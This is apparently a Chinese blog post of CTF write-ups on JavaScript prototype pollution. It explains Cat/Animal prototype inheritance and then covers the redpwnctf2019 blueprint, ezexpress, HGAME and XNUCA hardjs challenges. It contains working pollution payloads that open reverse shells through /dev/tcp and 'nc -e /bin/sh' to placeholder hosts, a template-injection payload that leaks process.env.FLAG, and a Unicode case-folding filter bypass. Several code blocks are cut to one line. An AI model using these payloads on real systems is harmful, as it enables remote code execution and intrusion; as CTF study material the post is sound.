JavaScript原型链污染
如何继承
比如,现在有一个”动物”对象的构造函数。
function Animal(){ |
还有一个”猫”对象的构造函数。
function Cat(name,color){ |
要让Cat
这个类去继承Animal
类,如果在其他的语言中,一般就是extented
即可
但是在JavaScript中,
Cat.prototype = new Animal(); |
第一行我们直接修改了Cat
的prototype
属性,让其指向Animal
这一点不难理解,之后所有Cat
实例化的对象cat,它的__proto__
就会指向Animal
(因为Cat.prototype==cat.__proto__
)
但是第二行比较疑惑,Cat.prototype.constructor
又代表了什么?
其实在Cat.prototype
中原先是有一个constructor
这个属性的,而Cat.prototype.constructor==Cat
这个是成立的
但是我们直接修改了Cat.prototype
之后,此时的Cat.prototyep.constructot != Cat
这就比较荒诞了,所以我们要单独修改将这一个属性修改回来
实例分析
redpwnctf2019 blueprint
题目的简要功能就是能够发表文章,并且选择是否公开,传递的数据是json格式的
每一个用户有一个user_id
,第一次访问的时候会通过makeId
函数给一个id
调试的时候发现每个用户创建的时候会将一个(userId,user)
存入到一个map中,userId
就是之前生成的,而这个user
对象中就有flag,也就是说每一个用户都有一个flag
生成的user
对象
之后会将请求的内容给merge
到parsedBody
中
查看defaultsDeep
的例子:
_.defaultsDeep({ 'user': { 'name': 'barney' } }, { 'user': { 'name': 'fred', 'age': 36 } }); |
之后就会将parsedBody
中的content
和public
存放到map中
之后的功能也不难想了,如果pubic
为true就会展示在首页上,如果不为true就会不会展示
而我们之前提到每一个用户其实都是有一个flag的,只是这个public
属性没有进行设置而已。
思路就是通过原型链污染使得flag能被展示出来
渲染页面的主要部分如下:
blueprints: Object.entries(user.blueprints).map(([k, v]) => ({ |
exp
import requests |
新春战疫 ezexpress
用到了JavaScript的一个小trick
两个奇特的字符 ==”ı”、”ſ”。==
这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,”ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。
绕过之后,就可以登陆,看到一个很显然的 clone
操作
router.post('/action', function (req, res) { |
那么就可以污染属性了。污染哪个呢?
router.get('/', function (req, res) { |
我们这里就直接污染 res.outputFunctionName
(测试的时候Windows下无法用nc弹shell)
然后访问 info 页面即可
原来的payload
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var __tmp2"}} |
HGAME
这题也是JavaScript原型链污染,不过这里更明显
if (sekiro.attackInfo.additionalEffect) { |
Function
是动态构造函数
payload
{"solution":"1","__proto__":{"additionalEffect":"global.process.mainModule.constructor._load('child_process').exec('nc vps-ip port -e /bin/sh',function(){});"}} |
然后vps上即可监听到请求(当然我这里只是nc一下)
写到这里突然又想起来了 2019XNUCA的一道JavaScript原型链污染的题目
2019 XNUCA hardjs
(盗了一张图过来)
能够RCE的点出在 res.render
处,具体的就不分析了,这里是最后的变量拼接的地方
从这里可以看到有两个拼接的变量可以使用
于是就能够构造两个payload
{"type":"wiki","content":{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return process.env.FLAG","debug":true, "compileDebug": true}}}} |
或者
{ |
当然要是想弹shell也不是不可以
{ |
现在回顾起当时遇到这道题还啥都不会,现在又突然想起来的这种感觉好好玩
参考
https://xz.aliyun.com/t/6101#toc-1
http://passingfoam.com/2019/08/31/XNUCA-2019-web-%E5%A4%8D%E7%8E%B0/